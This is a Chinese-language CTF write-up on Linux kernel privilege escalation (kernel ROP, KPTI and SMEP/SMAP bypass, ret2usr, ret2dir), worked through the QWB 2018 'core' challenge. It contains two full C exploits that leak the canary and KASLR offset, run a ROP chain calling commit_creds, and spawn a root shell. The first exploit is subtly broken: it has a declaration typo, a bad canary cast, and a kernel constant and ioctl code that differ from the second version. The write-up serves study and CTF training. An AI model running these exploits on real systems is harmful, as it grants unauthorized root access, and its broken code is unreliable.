参考链接:a3大佬

01. Kernel ROP - basic

所需要构造执行的ROPchain为commit_creds(prepare_kernel_cerd(&init_task))commit_creds(&init_cred)(这个似乎更方便,要去找对应内核的源码,然后用ida打开vmlinux查看其对应位置)

当成功执行如上函数之后,当前线程的cred结构体便会变为init进程的cred的拷贝,也就获得了root权限,此时在用户态起一个shell便能获得root shell。

旧版本内核上所用的提权方法commit_creds(prepare_kernel_cred(NULL))已经不再能被使用,在高版本的内核当中prepare_kernel_cred(NULL)将不再返回一个root cred。

状态保存

exploit需要进入到内核当中完成提权,而我们最终仍然需要着陆回到用户态来获取一个root权限的shell,因此在进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上。

通常使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造rop链:

通用的pwn板子

使用内联汇编,编译时需要指定参数:-masm=intel

1
2
3
4
5
6
7
8
9
10
11
12
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

返回用户态

内核态返回用户态的过程

  • swapgs指令恢复用户态GS寄存器
  • sysretq或者iretq恢复到用户空间

只需要在内核中找到相应的gadget并执行swapgs;iretq即可返回用户态

一般来说,构造返回用户态ROP链如下:

1
2
3
4
5
6
7
swapgs
iretq
user_shell_addr
user_cs
user_eflags // 64bit user_rflags
user_sp
user_ss

例题:强网杯2018 - core

查看start.sh,开启了kaslr防护:

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

解压文件系统,查看init文件

1
cpio -idmv < ../core.cpio.gz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f & # 定时关机
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f # 定时关机

其中将/proc/kallsysms符号表内容复制到tmp目录下,因此可以访问其符号地址

漏洞分析

checksec一下,开启了NX和canary

1
2
3
4
5
6
7
8
❯ checksec --file=core.ko
[*] '/mnt/d/Bronya/Brownie/CTF/practice/0ops内训/kernel/qwb_2018_core/core/rootfs/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No

使用ida反汇编

init_module函数初始化了一个设备/proc/corecore_fops结构体定义了write, ioctl, release三个操作:

core_write函数,可以向bss段写入长度为0x800的数据:

core_ioctl函数定义了三种功能,core_read读取栈空间内容;修改off变量值;

core_read函数将栈上数据拷贝给a1,也就用户态:

core_copy_func函数复制name内指定长度内容到栈上,由于此处qmemcpy时长度使用了强制类型转换,可以发现存在整数溢出,可以设置int64类型下为负值,但int16下为大于63的值:

漏洞利用

利用栈溢出在栈上构造ROP chain来提权

只要可以在内核空间执行commit_cred(prepare_kernel_cred(NULL)),即可将进程权限提升至root

调试时可以先把kaslr关掉,获取没有偏移的函数地址,后续再通过该值计算偏移。

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/ioctl.h>

#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))

// define symbols variables
size_t commit_creds = 0; prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;

// enter kernel func: save status
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(void)
{
if(getuid()) {
log_error("[x] Failed to get the root!");
sleep(5);
exit(EXIT_FAILURE);
}
log_success("[+] Successful to get the root.");
log_info("[*] Execve root shell now...");

system("/bin/sh");

// to exit normally, instead of potential segmentation fault
exit(EXIT_SUCCESS);
}

// interact with /proc/core
void core_read(int fd, char *buf)
{
ioctl(fd, 0x6677889b, buf);
}

void set_off_val(int fd, size_t off)
{
ioctl(fd, 0x6677889c, off);
}

void core_copy(int fd, size_t len)
{
ioctl(fd, 0x6677889d, len);
}

// exploition
#define COMMIT_CREDS 0xffffffff9909c8e0
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2




void exploition(void) {
FILE *ksyms_file;
// open device
int fd;
char buf[0x1000], type[0x10];
size_t addr;
size_t canary;
size_t rop_chain[0x100], i;

log_info("[*] Start to exploit...");
save_status();

fd = open("/proc/core", O_RDWR);
if (fd < 0)
{
log_error("[x] open device error!");
exit(EXIT_FAILURE);
}

// get addresses of kernel symbols
log_info("[*] Reading /tmp/kallsyms...");
ksyms_file = fopen("/tmp/kallsyms", "r");
if (ksyms_file == NULL) {
log_error("[x] Failed to open the sym_table file!");
exit(EXIT_FAILURE);
}

while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
if (prepare_kernel_cred && commit_creds) {
break;
}

if (!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf(
SUCCESS_MSG("[+] Successful to get the addr of commit_creds: ")
"%lx\n", commit_creds);
continue;
}

if (!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf(SUCCESS_MSG(
"[+] Successful to get the addr of prepare_kernel_cred")
"%lx\n", prepare_kernel_cred);
continue;
}
}

kernel_offset = commit_creds - COMMIT_CREDS;
kernel_base += kernel_offset;
printf(
SUCCESS_MSG("[+] Got kernel base: ") "%lx"
SUCCESS_MSG(" , kaslr offset: ") "%lx\n",
kernel_base,
kernel_offset
);

// leak canary
log_info("[*] Reading value of kernel stack canary...");

set_off_val(fd, 64);
core_read(fd, buf);
canary = ((size_t*) buf[0]);

printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);

// build rop chain
for (i=0; i<10; i++) {
rop_chain[i] = canary;
}
rop_chain[i++] = POP_RDI_RET+kernel_offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET+kernel_offset;
rop_chain[i++] = POP_RCX_RET+kernel_offset;
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset; // 因为为call,会push ip入栈
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET+kernel_offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ+kernel_offset;
rop_chain[i++] = (size_t) get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp+8; // userland stack balance
rop_chain[i++] = user_ss;

log_info("[*] Start to execute ROP chain in kernel space...");
write(fd, rop_chain, 0x800);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}

int main(int argc, char **argv)
{
exploition();
return 0;
}

编译:

1
gcc ./exp.c -o exp -static -masm=intel

打包进文件系统,执行exp获取root shell

返回用户态 with KPTI bypass

如果开启了KPTI(内核页表隔离),不能像前面直接swapgs ; iretq返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来。

Linux采用四级页表结构(PGD -> PUD -> PMD -> PTE),而CR3控制寄存器用以存储当前的PGD的地址,因此在开启KPTI的情况下用户态与内核态之间的切换便涉及到CR3的切换,为了提高切换的速度,内核将内核空间的PGD和用户空间的PGDD两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间在高地址),这样只需要将CR3的第13位取反便能完成页表切换的操作。

这两张页表上都有对用户空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有内核页表中才有对内核内存空间的完整映射。

除了在系统调用入口中将用户态页表切换到内核态页表的代码外,内核也相应的在arch/x86/entry/entry_64.S中提供了一个用于完成内核态页表切换回到用户态页表的函数swapgs_restore_regs_and_return_to_usermode,地址也可以在proc/kallsyms中获得。

在实际操作时前面的栈操作可以跳过,直接从mov rdi, rsp开始

1
2
3
4
5
6
7
mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq

因此对应的栈布局

1
2
3
4
5
6
7
8
↓	swapgs_restore_regs_and_return_to_usermode
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss

例题:强网杯2018 - core

在启动脚本中启动参数添加pti=on开启KPTI保护

之前的exp无法执行,会报segfault,因为在内核态页表下用户地址无法执行。

因此在返回用户态之前还需要先将内核态页表切换回来,这里直接调用swapgs_restore_regs_and_return_to_usermode函数返回用户态即可。

02. Kernel ROP - ret2usr

在未开启SMAP/SMEP保护的情况下,内核空间是可以访问用户空间的数据的。因此通过kernel ROP以内核ring0权限执行用户空间代码来完成提权。

ret2usr只需要在用户态程序构造好对应的commit_creds(prepare_kernel_cred(NULL))函数指针即可。

对于开启了SMAP/SMEP保护的kernel而言,内核空间访问用户空间会引发kernel panic。

例题:强网杯2018 - core

劫持控制流后,构造好对应的函数指针和相关指令直接返回到用户空间进行ret2usr提权。

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/ioctl.h>

#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))

// define symbols variables
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;

// enter kernel func: save status
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(void)
{
if(getuid()) {
log_error("[x] Failed to get the root!");
sleep(5);
exit(EXIT_FAILURE);
}
log_success("[+] Successful to get the root.");
log_info("[*] Execve root shell now...");

system("/bin/sh");

// to exit normally, instead of potential segmentation fault
exit(EXIT_SUCCESS);
}

void *(*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);

void ret2usr_attack(void)
{
prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred;
commit_creds_kfunc = (int (*)(void *))commit_creds;

(*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));

asm volatile(
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"sub rax, 8;"
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"lea rax, get_root_shell;"
"push rax;"
"swapgs;"
"iretq;"
);
}

// interact with /proc/core
void core_read(int fd, char *buf)
{
ioctl(fd, 0x6677889b, buf);
}

void set_off_val(int fd, size_t off)
{
ioctl(fd, 0x6677889c, off);
}

void core_copy(int fd, size_t len)
{
ioctl(fd, 0x6677889a, len);
}

// exploition
#define COMMIT_CREDS 0xffffffff8109c8e0
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2


void exploition(void) {
FILE *ksyms_file;
// open device
int fd;
char buf[0x1000], type[0x10];
size_t addr;
size_t canary;
size_t rop_chain[0x100], i;

log_info("[*] Start to exploit...");
save_status();

fd = open("/proc/core", O_RDWR);
if (fd < 0)
{
log_error("[x] open device error!");
exit(EXIT_FAILURE);
}

// get addresses of kernel symbols
log_info("[*] Reading /tmp/kallsyms...");
ksyms_file = fopen("/tmp/kallsyms", "r");
if (ksyms_file == NULL) {
log_error("[x] Failed to open the sym_table file!");
exit(EXIT_FAILURE);
}

while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
if (prepare_kernel_cred && commit_creds) {
break;
}

if (!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf(
SUCCESS_MSG("[+] Successful to get the addr of commit_creds: ")
"%lx\n", commit_creds);
continue;
}

if (!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf(SUCCESS_MSG(
"[+] Successful to get the addr of prepare_kernel_cred: ")
"%lx\n", prepare_kernel_cred);
continue;
}
}

kernel_offset = commit_creds - COMMIT_CREDS;
kernel_base += kernel_offset;
printf(
SUCCESS_MSG("[+] Got kernel base: ") "%lx"
SUCCESS_MSG(" , kaslr offset: ") "%lx\n",
kernel_base,
kernel_offset
);

// leak canary
log_info("[*] Reading value of kernel stack canary...");

set_off_val(fd, 64);
core_read(fd, buf);
canary = ((size_t*) buf)[0];

printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);

// build rop chain
for (i=0; i<10; i++) {
rop_chain[i] = canary;
}
rop_chain[i++] = (size_t) ret2usr_attack;

log_info("[*] Start to execute ROP chain in kernel space...");
write(fd, rop_chain, 0x800);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}

int main(int argc, char **argv)
{
exploition();
return 0;
}

ret2usr with SMAP/SMEP Bypass

需要先关闭SMEP保护。

intel下系统根据CR4控制寄存器的第20、21位标识来确定是否开启SMEP/SMAP保护(1为开启,0为关闭),若是能改变CR4寄存器的值就能关闭保护。

可以使用cat /proc/cpuinfo查看其中开启的保护类型

例题:强网杯2018 - core

在启动脚本中添加smep和smap保护:

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 1024M \
-cpu qemu64-v1,+smep,+smap \
-kernel ./bzImage \
-initrd ./rootfs_patched.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic

需要通过ROP来关闭SMEP/SMAP,直接给CR4复制0x6f0即可

使用到的gadgets

1
2
3
4
#define MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET
#define AND_RAX_RDI_RET
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET
#define POP_RAX_RET

直接修改CR4为0x6f0即可

03. Kernel ROP - ret2dir

ret2dir(return to direct mapping area)

绕过smep/smap/pxn等用户空间与内核空间隔离的防护手段。

x86下的Linux kernel的内存布局,存在一块区域direct mapping area,内核的线性映射区,线性地直接映射了整个物理内存空间。

1
ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)

这块区域存在意味着:对于一个被用户进程使用的物理页框,同时存在着一个用户空间地址和内核空间地址到该物理页框的映射,即我们利用这两个地址进行内存访问时访问的是同一个物理页框

当开启SMEP、SMAP、PXN等防护时,内核空间到用户空间的直接访问被禁止,无法直接使用ret2usr的攻击方式,但利用内核线性映射区对整个物理地址空间的映射,我们可以利用一个内核空间上的地址访问到用户空间的数据。

下图为攻击示例,我们在用户空间中布置的gadget可以通过direct mapping area上的地址在内核空间中访问到。

在新版的内核当中direct mapping area已经不再具有可执行权限,因此仍然需要在用户空间布置ROP链来完成利用

一种朴素的方法:

  • 利用mmap在用户空间大量申请内存
  • 利用漏洞泄漏内核的“堆”上地址(通过kmalloc获取到的地址),这个地址直接来自于线性映射区
  • 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到我们在用户空间的内存

但是一般很难实现搜索,可以使用喷射的方法来命中。

例题:MINI-LCTF2022 - kgagdet

启动脚本关闭了KASLR,开启了SMEP/SMAP保护

分析漏洞内核模块kgadget.ko

kernel_module_init函数注册了/dev/kgadget设备

其文件操作结构体定义如下,注册了write, ioctl, open, release操作函数:

kgadget_write函数没什么用

kgadget_ioctl函数向栈空间写入内容,同时会解引用param的值作为函数指针执行。

不能直接将其写为用户空间地址

漏洞利用

利用ret2dir + physmap spray

在用户空间布置恶意数据,然后在内核空间的direct mapping area区域找到对应地址即可。

使用栈迁移,将栈迁移到用户空间布置的恶意数据上,随后在恶意数据靠后的位置布置提权降落回用户态的ROP链即可。

在每个内存页都是三段式的ROP链,栈迁移 - ret滑板 - 常规ROP链